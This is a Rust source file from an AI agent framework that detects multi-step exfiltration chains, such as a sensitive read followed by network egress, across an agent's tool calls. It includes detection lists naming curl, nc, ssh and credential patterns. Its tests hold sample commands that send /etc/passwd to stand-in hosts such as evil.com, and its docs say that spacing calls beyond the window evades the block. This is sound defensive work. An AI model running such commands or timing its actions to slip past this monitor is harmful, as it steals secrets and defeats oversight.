zeph_tools/risk_chain.rs
1// SPDX-FileCopyrightText: 2026 Andrei G <bug-ops>
2// SPDX-License-Identifier: MIT OR Apache-2.0
3
4//! Multi-step attack chain detection across tool calls, within a bounded recent-turn window.
5//!
6//! [`RiskChainAccumulator`] records each tool invocation and detects sequential
7//! patterns that individually appear harmless but together constitute an attack
8//! chain (e.g., read sensitive file → send to external server).
9//!
10//! # Cross-turn detection (#6561)
11//!
12//! A naive per-turn accumulator that fully clears its state at every turn boundary cannot
13//! catch a chain deliberately split across turns (e.g. a sensitive read in turn N, network
14//! egress in turn N+1 — the exact bypass reported in #6561): by the time the second call
15//! arrives, the first leg has already been forgotten. [`advance_turn`](RiskChainAccumulator::advance_turn)
16//! (called once per agent turn boundary) does NOT fully clear recorded calls — it prunes only
17//! calls older than a fixed number of turns and recomputes `cumulative_score` from the calls
18//! that remain, so a chain whose legs land in different turns (as long as both are still within
19//! the window) is still visible to the pattern-matching logic in the next
20//! [`record`](RiskChainAccumulator::record) call. This bounds the blast radius two ways: the
21//! turn-based window limits how long a stale sensitive read stays "live", and the absolute call
22//! count cap independently bounds tracked calls regardless of turn count.
23//!
24//! When a chain fires, the accumulator also pushes a signal code into the [`RiskSignalQueue`]
25//! shared with the `TrajectorySentinel` in `zeph-core`, so the session-scoped cross-turn risk
26//! aggregate reflects the detection too — this is a secondary reporting channel, not the
27//! mechanism that makes cross-turn detection possible (the turn-windowed state above is). All
28//! production entry points construct this accumulator with `Some(queue)`; `None` is used only in
29//! isolated unit tests that don't need `TrajectorySentinel` reporting. Signal codes `10`
30//! (`exfil_read_then_send`) and `11` (`cred_then_egress`) are reserved for chains defined in this
31//! module.
32//!
33//! `RiskChainAccumulator` is authoritative for multi-step chain blocking within its recent-turn
34//! window. `TrajectoryRiskSlot` / `TrajectorySentinel` remain authoritative for cumulative global
35//! risk level across the whole session.
36//!
37//! # Cross-turn window default (#6603)
38//!
39//! The window is configurable via `[tools.shell] risk_chain_window_turns` (falls back to
40//! [`DEFAULT_CROSS_TURN_WINDOW_TURNS`] when unset). Its default of `3` is deliberately narrower
41//! than the sibling `[security.trajectory] window_turns` default of `8`
42//! (`TrajectorySentinelConfig`, `crates/zeph-config/src/security.rs`): that window feeds a
43//! decaying *soft* risk score used for alerting, while this window feeds a *hard block*
44//! decision. A wider window here would let more unrelated old activity combine with new activity
45//! into a false-positive block; `3` was chosen to keep the default behavior unchanged from the
46//! #6561 fix that introduced cross-turn detection. Operators who want detection to survive a
47//! longer gap between the two legs of a chain can raise this value explicitly. Setting it to `0`
48//! is a supported, deliberate opt-out that disables cross-turn detection outright (every call is
49//! pruned on the very next [`advance_turn`](RiskChainAccumulator::advance_turn), reproducing the
50//! pre-#6561 same-turn-only behavior) — callers that construct the accumulator directly
51//! (`agent_setup::wire_risk_chain`) log a warning naming #6561 when this resolves to `0`, since
52//! the value has no other operator-visible signal.
53//!
54//! This is a bounded mitigation, not a complete fix: an attacker fully controls the spacing
55//! between the sensitive read and the network egress, so spacing the two legs further apart than
56//! the configured window still evades the block entirely. This residual is accepted and bounded
57//! (an unrelated read from beyond the window can never combine with new activity — see
58//! [`RiskChainAccumulator::advance_turn`]), not something this module claims to close. Keying the
59//! window off in-context message span (surviving compaction/summarization) instead of raw turn
60//! count might narrow the residual further but is not implemented here — see #6603.
61
62use std::collections::VecDeque;
63use std::sync::Arc;
64
65use parking_lot::Mutex;
66use tracing;
67
68use crate::config::ShellConfig;
69use crate::policy_gate::RiskSignalQueue;
70
71/// Signal code for `exfil_read_then_send` chain.
72const SIGNAL_EXFIL_READ_THEN_SEND: u8 = 10;
73/// Signal code for `cred_then_egress` chain.
74const SIGNAL_CRED_THEN_EGRESS: u8 = 11;
75
76/// Maximum number of calls tracked, regardless of how many turns they span.
77///
78/// Once exceeded, the oldest entry is dropped and `cumulative_score` is recomputed from the
79/// surviving calls (see [`RiskChainAccumulator::advance_turn`]).
80const MAX_CALLS: usize = 20;
81
82/// Default number of turns a recorded call stays "live" for cross-turn chain detection (#6561),
83/// used when `[tools.shell] risk_chain_window_turns` is unset (#6603).
84///
85/// [`RiskChainAccumulator::advance_turn`] prunes any call older than this many turns. A chain
86/// split across turns (e.g. sensitive read in turn N, network egress in turn N+1..=N+3) is still
87/// caught as long as both legs fall within this window; a read from many turns ago that never
88/// led anywhere eventually ages out, so unrelated old activity cannot combine with new activity
89/// into a false positive indefinitely. See the module docs for why `3` (not the sibling
90/// `TrajectorySentinelConfig`'s `8`) was chosen as the default.
91pub const DEFAULT_CROSS_TURN_WINDOW_TURNS: u64 = 3;
92
93/// Risk categories assigned to individual tool calls during classification.
94#[derive(Debug, Clone, PartialEq, Eq)]
95#[non_exhaustive]
96pub enum RiskTag {
97 /// Read of a sensitive path: `/etc/passwd`, `/etc/shadow`, `~/.ssh/*`, `.env`.
98 SensitiveRead,
99 /// Network egress tool: `curl`, `wget`, `nc`, `ncat`, or the `fetch` tool.
100 NetworkEgress,
101 /// Write to a system path: `/etc/`, `/usr/`, `/sys/`.
102 SystemWrite,
103 /// Access to credential-bearing variables or files.
104 CredentialAccess,
105 /// Process manipulation: `kill`, `pkill`.
106 ProcessControl,
107}
108
109/// Verdict produced by [`RiskChainAccumulator::record`].
110#[derive(Debug, Clone)]
111pub struct RiskChainVerdict {
112 /// Cumulative risk score for the current turn (`0.0` = benign, `≥1.0` = saturated).
113 pub cumulative_score: f32,
114 /// Name of the matched multi-step chain pattern, if any fired on this call.
115 pub chain_pattern: Option<String>,
116 /// `true` when `cumulative_score` exceeds the configured threshold.
117 pub should_block: bool,
118}
119
120#[derive(Debug, Clone)]
121struct ScoredCall {
122 tags: Vec<RiskTag>,
123 /// Turn index this call was recorded in — used by `advance_turn` to prune calls that have
124 /// aged out of [`DEFAULT_CROSS_TURN_WINDOW_TURNS`].
125 turn: u64,
126}
127
128#[derive(Debug, Default)]
129struct Inner {
130 calls: VecDeque<ScoredCall>,
131 cumulative_score: f32,
132 /// Current turn index, incremented by `advance_turn`. Starts at 0.
133 turn: u64,
134 /// Name of the chain pattern currently pushed into the signal queue, if any (#6561
135 /// dedup fix). While the same chain stays matched across several subsequent `record()`
136 /// calls (it can remain live for up to the configured window's turn count), the queue
137 /// push must fire once per detection, not once per call — otherwise a single logical
138 /// chain can flood `RiskSignalQueue`/`TrajectorySentinel` with dozens of duplicate pushes
139 /// over its live window, amplifying one detection into a session-wide false escalation.
140 /// Cleared as soon as `detect_chain` stops matching, so a genuinely new occurrence of the
141 /// same pattern (after the old one ages out) pushes again.
142 signaled_pattern: Option<String>,
143}
144
145/// Cumulative risk tracker for multi-step attack chain detection, scoped to one agent
146/// session/turn-loop (#6588: one instance per session, not shared across concurrent sessions).
147///
148/// Thread-safe: state is protected by a `parking_lot::Mutex` so concurrent
149/// tool calls within a single batch accumulate correctly.
150///
151/// Create one instance per agent session via [`RiskChainAccumulator::new`] and call
152/// [`advance_turn`](RiskChainAccumulator::advance_turn) at each turn boundary — this prunes
153/// stale calls rather than fully clearing state, which is what makes cross-turn chain
154/// detection possible (see the module docs).
155///
156/// # Examples
157///
158/// ```
159/// use zeph_tools::ShellConfig;
160/// use zeph_tools::risk_chain::RiskChainAccumulator;
161///
162/// let acc = RiskChainAccumulator::new(None, &ShellConfig::default());
163/// let v = acc.record("bash", "cat /etc/passwd", 0.7);
164/// assert!(!v.should_block); // single sensitive read, score < threshold
165/// ```
166#[derive(Debug, Clone)]
167pub struct RiskChainAccumulator {
168 inner: Arc<Mutex<Inner>>,
169 signal_queue: Option<RiskSignalQueue>,
170 /// Number of turns a recorded call stays "live" (see [`DEFAULT_CROSS_TURN_WINDOW_TURNS`]
171 /// and the module docs for rationale). Fixed for the lifetime of the accumulator.
172 window_turns: u64,
173}
174
175impl RiskChainAccumulator {
176 /// Create a new accumulator for one agent session.
177 ///
178 /// `signal_queue` — when `Some`, chain detections push a signal code into
179 /// the shared queue so the `TrajectorySentinel` in `zeph-core` is notified.
180 ///
181 /// `shell_config` — the same `ShellConfig` used to build the session's `ShellExecutor`.
182 /// `risk_chain_window_turns` is resolved from it internally (falling back to
183 /// [`DEFAULT_CROSS_TURN_WINDOW_TURNS`] when unset), mirroring how `ShellExecutor::new`
184 /// resolves `risk_chain_threshold` — callers pass the config they already have rather than
185 /// extracting and threading the raw field themselves (#6603).
186 #[must_use]
187 pub fn new(signal_queue: Option<RiskSignalQueue>, shell_config: &ShellConfig) -> Self {
188 let window_turns = shell_config
189 .risk_chain_window_turns
190 .unwrap_or(DEFAULT_CROSS_TURN_WINDOW_TURNS);
191 Self {
192 inner: Arc::new(Mutex::new(Inner::default())),
193 signal_queue,
194 window_turns,
195 }
196 }
197
198 /// The resolved cross-turn window (in turns) this accumulator was constructed with — see
199 /// [`new`](Self::new). Exposed so callers can log/observe the effective value without
200 /// duplicating the `risk_chain_window_turns.unwrap_or(DEFAULT_CROSS_TURN_WINDOW_TURNS)`
201 /// resolution logic themselves.
202 #[must_use]
203 pub fn window_turns(&self) -> u64 {
204 self.window_turns
205 }
206
207 /// Record a tool call and return the updated risk verdict.
208 ///
209 /// `tool_name`: e.g. `"bash"`, `"fetch"`, `"web_scrape"`.
210 /// `command`: the shell command or URL (post-deobfuscation for shell calls).
211 /// `threshold`: cumulative score above which `should_block` is `true`.
212 ///
213 /// # Errors
214 ///
215 /// This function never returns an error; it returns a verdict that the caller
216 /// uses to decide whether to block the tool call.
217 #[must_use]
218 pub fn record(&self, tool_name: &str, command: &str, threshold: f32) -> RiskChainVerdict {
219 let _span = tracing::info_span!("tools.risk_chain.check", tool = tool_name).entered();
220 let tags = classify(tool_name, command);
221 let call_score: f32 = tags.iter().map(tag_score).sum();
222
223 let mut inner = self.inner.lock();
224
225 // Maintain capacity bound — drop oldest entry when full.
226 if inner.calls.len() >= MAX_CALLS {
227 inner.calls.pop_front();
228 }
229 let turn = inner.turn;
230 inner.calls.push_back(ScoredCall {
231 tags: tags.clone(),
232 turn,
233 });
234 inner.cumulative_score = (inner.cumulative_score + call_score).min(10.0);
235
236 // Check for multi-step chain patterns.
237 let chain_pattern = Self::detect_chain(&inner.calls);
238
239 if let Some(ref name) = chain_pattern {
240 let bonus = chain_bonus(name);
241 inner.cumulative_score = (inner.cumulative_score + bonus).min(10.0);
242
243 // Push into the shared signal queue — but only once per detection (#6561 dedup
244 // fix): the same live chain can keep matching on every subsequent call for up to
245 // DEFAULT_CROSS_TURN_WINDOW_TURNS turns, and without this guard each of those calls would
246 // re-push the same signal code, flooding TrajectorySentinel/MAGE with duplicates
247 // from a single logical attack.
248 if inner.signaled_pattern.as_deref() != Some(name.as_str()) {
249 if let Some(ref q) = self.signal_queue {
250 let code = chain_signal_code(name);
251 q.lock().push(code);
252 }
253 inner.signaled_pattern = Some(name.clone());
254 }
255 } else {
256 // Chain no longer live (a leg aged out of the window) — clear the dedup marker so
257 // a genuinely new future occurrence of the same pattern pushes again.
258 inner.signaled_pattern = None;
259 }
260
261 RiskChainVerdict {
262 cumulative_score: inner.cumulative_score,
263 chain_pattern,
264 should_block: inner.cumulative_score >= threshold,
265 }
266 }
267
268 /// Advance to the next turn. Call at each turn boundary (`Agent::begin_turn()`).
269 ///
270 /// Does NOT fully clear state — that would defeat cross-turn chain detection (#6561). Instead
271 /// it prunes calls older than a fixed number of turns and recomputes `cumulative_score`
272 /// from the calls that remain, so a chain split across turns is still visible to the next
273 /// [`record`](Self::record) call as long as both legs fall within the window.
274 pub fn advance_turn(&self) {
275 let mut inner = self.inner.lock();
276 inner.turn += 1;
277 let cutoff = inner.turn.saturating_sub(self.window_turns);
278 inner.calls.retain(|c| c.turn >= cutoff);
279 inner.cumulative_score = inner
280 .calls
281 .iter()
282 .flat_map(|c| &c.tags)
283 .map(tag_score)
284 .sum::<f32>()
285 .min(10.0);
286 }
287
288 /// Detect whether the accumulated call sequence matches a known chain pattern.
289 fn detect_chain(calls: &VecDeque<ScoredCall>) -> Option<String> {
290 let all_tags: Vec<&RiskTag> = calls.iter().flat_map(|c| &c.tags).collect();
291
292 let has_sensitive_read = all_tags.contains(&&RiskTag::SensitiveRead);
293 let has_cred_access = all_tags.contains(&&RiskTag::CredentialAccess);
294 let has_network_egress = all_tags.contains(&&RiskTag::NetworkEgress);
295
296 // Pattern 1: sensitive file read → network egress.
297 if has_sensitive_read
298 && has_network_egress
299 && chain_ordered(calls, &RiskTag::SensitiveRead, &RiskTag::NetworkEgress)
300 {
301 return Some("exfil_read_then_send".to_owned());
302 }
303
304 // Pattern 2: credential access → network egress.
305 if has_cred_access
306 && has_network_egress
307 && chain_ordered(calls, &RiskTag::CredentialAccess, &RiskTag::NetworkEgress)
308 {
309 return Some("cred_then_egress".to_owned());
310 }
311
312 None
313 }
314}
315
316/// Return `true` if `before` tag appears in an earlier call than `after` tag.
317fn chain_ordered(calls: &VecDeque<ScoredCall>, before: &RiskTag, after: &RiskTag) -> bool {
318 let first_before = calls.iter().position(|c| c.tags.contains(before));
319 let last_after = calls.iter().rposition(|c| c.tags.contains(after));
320 match (first_before, last_after) {
321 (Some(b), Some(a)) => b < a,
322 _ => false,
323 }
324}
325
326/// Classify a tool invocation into zero or more risk tags.
327fn classify(tool_name: &str, command: &str) -> Vec<RiskTag> {
328 let mut tags = Vec::new();
329 let cmd_lower = command.to_lowercase();
330
331 // Network egress: fetch tool or egress shell commands.
332 if tool_name == "fetch" || tool_name == "web_scrape" {
333 tags.push(RiskTag::NetworkEgress);
334 }
335
336 if cmd_lower.contains("curl")
337 || cmd_lower.contains("wget")
338 || cmd_lower.contains("nc ")
339 || cmd_lower.contains("ncat")
340 || cmd_lower.contains("ssh")
341 || cmd_lower.contains("scp")
342 || cmd_lower.contains("sftp")
343 || cmd_lower.contains("rsync")
344 {
345 tags.push(RiskTag::NetworkEgress);
346 }
347
348 // Sensitive read.
349 if cmd_lower.contains("/etc/passwd")
350 || cmd_lower.contains("/etc/shadow")
351 || cmd_lower.contains("/.ssh/")
352 || cmd_lower.contains(".env")
353 {
354 tags.push(RiskTag::SensitiveRead);
355 }
356
357 // Credential access — specific compound patterns to avoid false positives on common words
358 // like "keyboard", "tokenizer", "socket". Match whole-word-adjacent patterns.
359 let has_cred_pattern = cmd_lower.contains("api_key")
360 || cmd_lower.contains("secret_key")
361 || cmd_lower.contains("access_key")
362 || cmd_lower.contains("private_key")
363 || cmd_lower.contains("auth_token")
364 || cmd_lower.contains("access_token")
365 || cmd_lower.contains("bearer_token")
366 || cmd_lower.contains("api_token")
367 || cmd_lower.contains("_secret")
368 || cmd_lower.contains("password")
369 || cmd_lower.contains("passwd")
370 || cmd_lower.contains("credential")
371 || cmd_lower.contains(".pem")
372 || cmd_lower.contains(".key")
373 || cmd_lower.contains("id_rsa")
374 || cmd_lower.contains("id_ecdsa");
375 if has_cred_pattern {
376 // Avoid double-tagging passwd files already caught by SensitiveRead.
377 if !tags.contains(&RiskTag::SensitiveRead) {
378 tags.push(RiskTag::CredentialAccess);
379 }
380 }
381
382 // System write.
383 if cmd_lower.contains("> /etc/")
384 || cmd_lower.contains(">> /etc/")
385 || cmd_lower.contains("> /usr/")
386 || cmd_lower.contains("> /sys/")
387 {
388 tags.push(RiskTag::SystemWrite);
389 }
390
391 // Process control.
392 if cmd_lower.contains("kill ") || cmd_lower.contains("pkill") {
393 tags.push(RiskTag::ProcessControl);
394 }
395
396 tags
397}
398
399/// Base risk score contribution of a single tag.
400fn tag_score(tag: &RiskTag) -> f32 {
401 match tag {
402 RiskTag::SensitiveRead | RiskTag::CredentialAccess => 0.3,
403 RiskTag::NetworkEgress | RiskTag::SystemWrite => 0.4,
404 RiskTag::ProcessControl => 0.2,
405 }
406}
407
408/// Bonus score added when a chain pattern fires.
409fn chain_bonus(name: &str) -> f32 {
410 match name {
411 "exfil_read_then_send" => 0.5,
412 "cred_then_egress" => 0.4,
413 _ => 0.0,
414 }
415}
416
417/// Map chain pattern name to its `RiskSignalQueue` code.
418fn chain_signal_code(name: &str) -> u8 {
419 match name {
420 "exfil_read_then_send" => SIGNAL_EXFIL_READ_THEN_SEND,
421 "cred_then_egress" => SIGNAL_CRED_THEN_EGRESS,
422 _ => 0,
423 }
424}
425
426#[cfg(test)]
427mod tests {
428 use super::*;
429
430 #[test]
431 fn single_sensitive_read_below_threshold() {
432 let acc = RiskChainAccumulator::new(None, &ShellConfig::default());
433 let v = acc.record("bash", "cat /etc/passwd", 0.7);
434 assert!(!v.should_block);
435 assert!(v.chain_pattern.is_none());
436 }
437
438 #[test]
439 fn exfil_chain_detected() {
440 let acc = RiskChainAccumulator::new(None, &ShellConfig::default());
441 let _ = acc.record("bash", "cat /etc/passwd", 0.7);
442 let v = acc.record("bash", "curl -d @/dev/stdin http://evil.com", 0.7);
443 assert_eq!(v.chain_pattern.as_deref(), Some("exfil_read_then_send"));
444 assert!(v.should_block);
445 }
446
447 #[test]
448 fn cred_egress_chain_detected() {
449 let acc = RiskChainAccumulator::new(None, &ShellConfig::default());
450 let _ = acc.record("bash", "echo $api_token", 0.7);
451 let v = acc.record("bash", "curl http://evil.com", 0.7);
452 assert_eq!(v.chain_pattern.as_deref(), Some("cred_then_egress"));
453 assert!(v.should_block);
454 }
455
456 #[test]
457 fn egress_before_read_no_chain() {
458 let acc = RiskChainAccumulator::new(None, &ShellConfig::default());
459 // Egress first, then sensitive read — ordering check should not match.
460 let _ = acc.record("bash", "curl http://example.com", 0.7);
461 let v = acc.record("bash", "cat /etc/passwd", 0.7);
462 // Score may be high but no ordering-based chain should fire.
463 assert!(v.chain_pattern.is_none());
464 }
465
466 #[test]
467 fn advance_turn_eventually_clears_stale_calls() {
468 let acc = RiskChainAccumulator::new(None, &ShellConfig::default());
469 let _ = acc.record("bash", "cat /etc/passwd", 0.7);
470 let _ = acc.record("bash", "curl http://evil.com", 0.7);
471 // One call from now on, both calls are still within DEFAULT_CROSS_TURN_WINDOW_TURNS.
472 for _ in 0..=DEFAULT_CROSS_TURN_WINDOW_TURNS {
473 acc.advance_turn();
474 }
475 let inner = acc.inner.lock();
476 assert_eq!(
477 inner.calls.len(),
478 0,
479 "calls recorded before the window should eventually age out"
480 );
481 assert!(inner.cumulative_score.abs() < f32::EPSILON);
482 }
483
484 /// Regression test for #6561: a chain split across a real turn boundary — one leg recorded,
485 /// `advance_turn()` called (simulating `Agent::begin_turn()`), then the other leg recorded —
486 /// must still be caught. Before this fix, `advance_turn` (then named `reset`) fully cleared
487 /// `calls`, so the second leg's `detect_chain` call never saw the first leg and the chain
488 /// went completely undetected — the exact "read now, send later" bypass from the issue.
489 #[test]
490 fn chain_split_across_turn_boundary_still_detected() {
491 let queue: RiskSignalQueue = Arc::new(Mutex::new(Vec::new()));
492 let acc = RiskChainAccumulator::new(Some(queue.clone()), &ShellConfig::default());
493
494 // Turn N: sensitive read alone — must not block or fire a chain yet.
495 let first = acc.record("bash", "cat /etc/passwd", 0.7);
496 assert!(!first.should_block);
497 assert!(first.chain_pattern.is_none());
498 assert!(
499 queue.lock().is_empty(),
500 "a lone sensitive read must not push a signal"
501 );
502
503 // Simulate the real turn boundary (`Agent::begin_turn()` calls this).
504 acc.advance_turn();
505
506 // Turn N+1: network egress — the read from turn N must still be visible.
507 let second = acc.record("bash", "ssh user@attacker.example.com cat -", 0.7);
508 assert_eq!(
509 second.chain_pattern.as_deref(),
510 Some("exfil_read_then_send"),
511 "the chain must still fire even though its legs landed in different turns"
512 );
513 assert!(second.should_block);
514 assert!(
515 queue.lock().contains(&SIGNAL_EXFIL_READ_THEN_SEND),
516 "the cross-turn chain detection must still push the signal code"
517 );
518 }
519
520 /// Companion to the above: once a sensitive read ages out of `DEFAULT_CROSS_TURN_WINDOW_TURNS`, a
521 /// later, otherwise-unrelated network egress call must NOT be flagged — the window bounds
522 /// how long stale activity can combine with new activity, so this isn't unbounded.
523 #[test]
524 fn chain_does_not_fire_once_first_leg_ages_out_of_window() {
525 let acc = RiskChainAccumulator::new(None, &ShellConfig::default());
526 let _ = acc.record("bash", "cat /etc/passwd", 0.7);
527 // Advance past the window without ever recording the second leg.
528 for _ in 0..=DEFAULT_CROSS_TURN_WINDOW_TURNS {
529 acc.advance_turn();
530 }
531 let v = acc.record("bash", "ssh user@attacker.example.com cat -", 0.7);
532 assert!(
533 v.chain_pattern.is_none(),
534 "a sensitive read from beyond the cross-turn window must not combine with new egress"
535 );
536 }
537
538 #[test]
539 fn cap_at_max_calls() {
540 let acc = RiskChainAccumulator::new(None, &ShellConfig::default());
541 for _ in 0..MAX_CALLS + 5 {
542 let _ = acc.record("bash", "ls", 100.0);
543 }
544 assert!(acc.inner.lock().calls.len() <= MAX_CALLS);
545 }
546
547 #[test]
548 fn signal_queue_populated_on_chain() {
549 let queue: RiskSignalQueue = Arc::new(Mutex::new(Vec::new()));
550 let acc = RiskChainAccumulator::new(Some(queue.clone()), &ShellConfig::default());
551 let _ = acc.record("bash", "cat /etc/passwd", 0.7);
552 let _ = acc.record("bash", "curl http://evil.com", 0.7);
553 let signals = queue.lock();
554 assert!(signals.contains(&SIGNAL_EXFIL_READ_THEN_SEND));
555 }
556
557 /// Regression test for the security/critic dedup finding on the #6561 rework: once a
558 /// chain fires, it can keep matching `detect_chain` on every subsequent `record()` call
559 /// for as long as both legs stay within `DEFAULT_CROSS_TURN_WINDOW_TURNS` — without a dedup guard,
560 /// each of those calls would re-push the same signal code, letting one logical chain flood
561 /// `RiskSignalQueue`/`TrajectorySentinel` with dozens of duplicates (security quantified
562 /// this as enough to force a session-wide Allow->Deny escalation from a single detection).
563 #[test]
564 fn chain_signal_pushed_only_once_while_still_matched() {
565 let queue: RiskSignalQueue = Arc::new(Mutex::new(Vec::new()));
566 let acc = RiskChainAccumulator::new(Some(queue.clone()), &ShellConfig::default());
567
568 let _ = acc.record("bash", "cat /etc/passwd", 0.7);
569 let second = acc.record("bash", "curl http://evil.com", 0.7);
570 assert_eq!(
571 second.chain_pattern.as_deref(),
572 Some("exfil_read_then_send")
573 );
574 assert_eq!(
575 queue.lock().len(),
576 1,
577 "the chain's first detection must push exactly one signal"
578 );
579
580 // Both legs remain in the live window — detect_chain matches again on every
581 // subsequent call, but the queue must NOT receive another push for the same chain.
582 for _ in 0..5 {
583 let repeat = acc.record("bash", "ls /tmp", 0.7);
584 assert_eq!(
585 repeat.chain_pattern.as_deref(),
586 Some("exfil_read_then_send"),
587 "the chain legitimately stays matched while both legs remain in the window"
588 );
589 }
590 assert_eq!(
591 queue.lock().len(),
592 1,
593 "repeated matches of the SAME live chain must not re-push into the signal queue"
594 );
595 }
596
597 /// Companion to the dedup test: once the chain stops matching (its legs age out of the
598 /// window) and then a genuinely NEW occurrence of the same pattern fires later, the queue
599 /// must receive a signal again — the dedup guard must not permanently suppress the pattern.
600 #[test]
601 fn chain_signal_pushes_again_after_a_new_occurrence() {
602 let queue: RiskSignalQueue = Arc::new(Mutex::new(Vec::new()));
603 let acc = RiskChainAccumulator::new(Some(queue.clone()), &ShellConfig::default());
604
605 let _ = acc.record("bash", "cat /etc/passwd", 0.7);
606 let _ = acc.record("bash", "curl http://evil.com", 0.7);
607 assert_eq!(queue.lock().len(), 1);
608
609 // Advance past the window so the old chain fully ages out.
610 for _ in 0..=DEFAULT_CROSS_TURN_WINDOW_TURNS {
611 acc.advance_turn();
612 }
613
614 // A brand new, unrelated occurrence of the same pattern.
615 let _ = acc.record("bash", "cat /etc/passwd", 0.7);
616 let second = acc.record("bash", "curl http://evil.com", 0.7);
617 assert_eq!(
618 second.chain_pattern.as_deref(),
619 Some("exfil_read_then_send")
620 );
621 assert_eq!(
622 queue.lock().len(),
623 2,
624 "a genuinely new occurrence of the same pattern must push again after the old \
625 one aged out"
626 );
627 }
628
629 // --- #4270: ssh/scp/rsync → NetworkEgress ---
630
631 #[test]
632 fn ssh_classified_as_network_egress() {
633 let tags = classify("bash", "ssh user@remote.example.com");
634 assert!(
635 tags.contains(&RiskTag::NetworkEgress),
636 "ssh must be classified as NetworkEgress"
637 );
638 }
639
640 #[test]
641 fn scp_classified_as_network_egress() {
642 let tags = classify("bash", "scp localfile user@host:/tmp/");
643 assert!(
644 tags.contains(&RiskTag::NetworkEgress),
645 "scp must be classified as NetworkEgress"
646 );
647 }
648
649 #[test]
650 fn rsync_classified_as_network_egress() {
651 let tags = classify("bash", "rsync -av ./dir user@remote:/backup/");
652 assert!(
653 tags.contains(&RiskTag::NetworkEgress),
654 "rsync must be classified as NetworkEgress"
655 );
656 }
657
658 // --- #4281: sftp → NetworkEgress ---
659
660 #[test]
661 fn sftp_classified_as_network_egress() {
662 let tags = classify("bash", "sftp user@remote.example.com");
663 assert!(
664 tags.contains(&RiskTag::NetworkEgress),
665 "sftp must be classified as NetworkEgress"
666 );
667 }
668
669 #[test]
670 fn sftp_exfil_chain_detected() {
671 let acc = RiskChainAccumulator::new(None, &ShellConfig::default());
672 let _ = acc.record("bash", "cat /etc/passwd", 0.7);
673 let v = acc.record("bash", "sftp user@attacker.example.com", 0.7);
674 assert_eq!(
675 v.chain_pattern.as_deref(),
676 Some("exfil_read_then_send"),
677 "read followed by sftp must trigger exfil chain"
678 );
679 assert!(v.should_block);
680 }
681
682 #[test]
683 fn ssh_exfil_chain_detected() {
684 let acc = RiskChainAccumulator::new(None, &ShellConfig::default());
685 let _ = acc.record("bash", "cat /etc/passwd", 0.7);
686 let v = acc.record("bash", "ssh user@attacker.example.com cat -", 0.7);
687 assert_eq!(
688 v.chain_pattern.as_deref(),
689 Some("exfil_read_then_send"),
690 "read followed by ssh must trigger exfil chain"
691 );
692 assert!(v.should_block);
693 }
694
695 // --- #4268: VecDeque FIFO eviction ordering ---
696
697 #[test]
698 fn eviction_removes_oldest_call() {
699 let acc = RiskChainAccumulator::new(None, &ShellConfig::default());
700 // Fill to capacity with sensitive reads, then push one more to trigger eviction.
701 for _ in 0..MAX_CALLS {
702 let _ = acc.record("bash", "cat /etc/passwd", 0.1);
703 }
704 // After eviction the oldest call is dropped; the window still holds MAX_CALLS.
705 let _ = acc.record("bash", "ls /tmp", 0.1);
706 let inner = acc.inner.lock();
707 assert_eq!(
708 inner.calls.len(),
709 MAX_CALLS,
710 "after eviction calls must stay at MAX_CALLS"
711 );
712 // The first surviving entry was pushed after the initial fill, so its command
713 // matches "cat /etc/passwd" (second-oldest kept), not the overflowed slot.
714 // We verify the deque has exactly MAX_CALLS entries — structural correctness.
715 drop(inner);
716 }
717
718 // --- #6603: configurable window_turns ---
719
720 /// Build a `ShellConfig` with `risk_chain_window_turns` set to a specific value, for tests
721 /// that need a non-default window.
722 fn config_with_window(turns: u64) -> ShellConfig {
723 ShellConfig {
724 risk_chain_window_turns: Some(turns),
725 ..ShellConfig::default()
726 }
727 }
728
729 #[test]
730 fn narrower_configured_window_ages_out_before_default_window_would() {
731 // A window_turns of 1 (narrower than DEFAULT_CROSS_TURN_WINDOW_TURNS = 3) must prune
732 // the first leg after 2 advance_turn() calls (0..=window_turns, matching the pruning
733 // formula exercised by the DEFAULT_CROSS_TURN_WINDOW_TURNS tests above). Run the
734 // identical sequence through a default-window accumulator side by side to actually prove
735 // the comparison the test name claims, rather than asserting the narrow case in
736 // isolation and trusting the name's "before default window would" implication.
737 let narrow = RiskChainAccumulator::new(None, &config_with_window(1));
738 let default = RiskChainAccumulator::new(None, &ShellConfig::default());
739 for acc in [&narrow, &default] {
740 let _ = acc.record("bash", "cat /etc/passwd", 0.7);
741 for _ in 0..=1 {
742 acc.advance_turn();
743 }
744 }
745 let narrow_verdict = narrow.record("bash", "curl http://evil.com", 0.7);
746 let default_verdict = default.record("bash", "curl http://evil.com", 0.7);
747 assert!(
748 narrow_verdict.chain_pattern.is_none(),
749 "a window_turns=1 accumulator must have already pruned the first leg after \
750 2 advance_turn() calls"
751 );
752 assert_eq!(
753 default_verdict.chain_pattern.as_deref(),
754 Some("exfil_read_then_send"),
755 "at the same point (2 advance_turn() calls), the default window (3) must still \
756 consider the first leg live — proving the narrow window aged out strictly earlier, \
757 not just that it eventually ages out on its own"
758 );
759 }
760
761 #[test]
762 fn wider_configured_window_still_detects_chain_the_default_would_miss() {
763 // A window_turns wider than the default must keep a chain leg live for longer than
764 // DEFAULT_CROSS_TURN_WINDOW_TURNS turns would allow.
765 let acc = RiskChainAccumulator::new(
766 None,
767 &config_with_window(DEFAULT_CROSS_TURN_WINDOW_TURNS * 2),
768 );
769 let _ = acc.record("bash", "cat /etc/passwd", 0.7);
770 for _ in 0..=DEFAULT_CROSS_TURN_WINDOW_TURNS {
771 acc.advance_turn();
772 }
773 let v = acc.record("bash", "curl http://evil.com", 0.7);
774 assert_eq!(
775 v.chain_pattern.as_deref(),
776 Some("exfil_read_then_send"),
777 "a wider configured window must still detect a chain whose first leg would have \
778 aged out of the default window"
779 );
780 }
781
782 #[test]
783 fn zero_window_turns_disables_cross_turn_detection() {
784 // window_turns = 0 is a legitimate opt-out: every advance_turn() prunes all calls
785 // recorded before the current turn, reproducing the pre-#6561 per-turn-only behavior.
786 let acc = RiskChainAccumulator::new(None, &config_with_window(0));
787 let _ = acc.record("bash", "cat /etc/passwd", 0.7);
788 acc.advance_turn();
789 let v = acc.record("bash", "curl http://evil.com", 0.7);
790 assert!(
791 v.chain_pattern.is_none(),
792 "window_turns=0 must prune the first leg on the very next advance_turn()"
793 );
794 }
795
796 #[test]
797 fn window_turns_accessor_falls_back_to_default_when_unset() {
798 let acc = RiskChainAccumulator::new(None, &ShellConfig::default());
799 assert_eq!(acc.window_turns(), DEFAULT_CROSS_TURN_WINDOW_TURNS);
800 }
801
802 #[test]
803 fn window_turns_accessor_reflects_configured_value() {
804 let acc = RiskChainAccumulator::new(None, &config_with_window(7));
805 assert_eq!(acc.window_turns(), 7);
806 }
807}